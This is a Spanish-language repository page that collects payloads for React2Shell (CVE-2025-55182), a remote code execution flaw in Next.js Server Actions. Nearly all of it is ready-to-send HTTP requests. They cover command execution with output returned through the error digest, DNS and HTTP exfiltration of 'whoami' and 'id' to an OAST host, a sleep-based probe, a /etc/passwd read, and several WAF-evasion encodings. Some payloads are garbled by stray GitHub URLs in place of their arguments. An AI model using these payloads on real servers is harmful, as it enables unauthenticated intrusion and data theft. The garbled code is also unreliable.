REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) es una cadena de vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a aplicaciones Next.js que utilizan Server Actions. La vulnerabilidad explota una vulnerabilidad de contaminación de prototipos en combinación con Server Actions para lograr ejecución arbitraria de código no autenticado en el servidor.

Este repositorio está dedicado a compartir payloads y evasiones de React2Shell. ¡Las PRs/contribuciones siempre son bienvenidas!

PoC

Recursos

A continuación, recursos adicionales que podrían ser útiles:

Escáner React2Shell de Assetnote: https://github.com/assetnote/react2shell-scanner
Plantilla Nuclei: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Payloads

Prueba de concepto original

Todo el crédito es para @maple3142 por la divulgación inicial de la prueba de concepto, que se puede encontrar en este GitHub Gist:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

RCE completa con salida a través del mensaje de error (campo digest)

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

Disparar una consulta DNS externa

Reemplace <OAST_SERVER> con el nombre de host de su servidor OAST.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Exfiltración DNS

Reemplace <OAST_SERVER> con el nombre de host de su servidor OAST.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Exfiltración HTTP

Reemplace <OAST_SERVER> con el nombre de host de su servidor OAST.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Provocar retardo de tiempo

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Evadir WAFs con concatenación de cadenas y codificación

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

Evadir WAFs con escapes Unicode y literales de plantilla

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

Evadir WAFs con payload codificado en Base64

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

Evasión de WAF mediante codificación Unicode completa

Créditos para @pyn3rd

POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--

krle

Más Populares

REACT2SHELL (CVE-2025-55182)

Recursos

Payloads

Prueba de concepto original

RCE completa con salida a través del mensaje de error (campo digest)

Disparar una consulta DNS externa

Exfiltración DNS

Exfiltración HTTP

Provocar retardo de tiempo

Evadir WAFs con concatenación de cadenas y codificación

Evadir WAFs con escapes Unicode y literales de plantilla

Evadir WAFs con payload codificado en Base64

Evasión de WAF mediante codificación Unicode completa